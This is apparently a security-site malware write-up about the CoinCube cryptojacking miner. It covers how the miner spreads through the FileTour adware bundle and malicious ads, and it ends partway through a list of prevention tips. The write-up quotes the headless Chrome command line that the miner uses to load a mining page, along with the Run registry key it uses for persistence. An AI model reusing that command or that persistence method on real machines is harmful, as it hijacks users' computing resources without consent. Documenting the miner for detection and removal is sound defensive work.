CoinCube – Infection Spread

The CoinCube malware can spread in a few ways. Third-party installer setups could have put a Trojan horse on your computer system via bundling. These installations typically arrive with freeware and application packages. CoinCube is known to spread via some adware bundles, such as the “FileTour” one. Without your knowledge, additive content could be installed to your computer, which could execute a JavaScript file that can act as a cryptojacker. Avoiding such applications being inserted is possible if you find Custom or Advanced settings in the installation setup.

CoinCube can also spread if you come across unknown websites through redirects and advertisements which have some sort of scripts in themselves and load them when you visit a site or click on an advert. Pop-ups, pop-unders, as well as banners could have links inside of them that can redirect you. When visiting such websites, especially with an unknown origin, they could inject the malware inside your computer device. That can happen via any browser.

CoinCube – In-Depth Information

CoinCube is the name of a cryptojacking miner script. The miner script is delivered with various malware applications, including the adware bundle called “FileTour”. FileTour in itself is a cracks or cheats for games and other software. It is unconfirmed but possible that the bundle also has a password-stealing Trojan implemented with it.

The adware creates an autorun script inside Windows which automatically launches the Google Chrome browser and connects to an in-browser mining page when any user logs into Windows. The launched cryptomining page in Chrome is also invisible.

The launch command can be seen in Chrome’s properties as seen below:

The exact command line is the following:

C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” –headless –disable-gpu –remote-debugging-port=9222 https://de-mi-nis-ner2.info/cdn-41.html?t=0.4

This is how the related CoinCube website page looks like if you load it yourself:

CoinCube will try tricking victims into thinking that it is the harmless CloudFlare service loading.

The command connects to the URL address seen on the image above, via remote debugging on port 9222, without GPU (video card) acceleration.

Some users have indicated that the CoinCube script that loads is indeed intended as a cryptojacking miner script. Although the malware tries to deceive users with a captcha form that looks identical with the CloudFlare one if they visit the URL address, doing the captcha does not do anything. On top of that, victims report that they see a 70% to 97% spike in CPU usage from that single Chrome tab as displayed in the screenshot down here:

The CoinCube malware is highly likely to add some more components that will help it to achieve its goals to maximum effectiveness. Thus, after it being executed on the system, it may establish a remote connection to a command and control server where all other malicious files are available such as an information-stealing Trojan. There are some essential Windows folders in which the malicious files can be dropped:

  • %AppData%
  • %Local%
  • %LocalLow%
  • %Roaming%
  • %Temp%

The following registry key entry might be present on your computer system:

→“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”

The entry listed above will make the miner to launch with every restart or boot of your computer device. Below you can see some useful tips that can help you to prevent similar miner malware to install onto your personal computer, in the future:

  • Run programs inside a sandbox environment
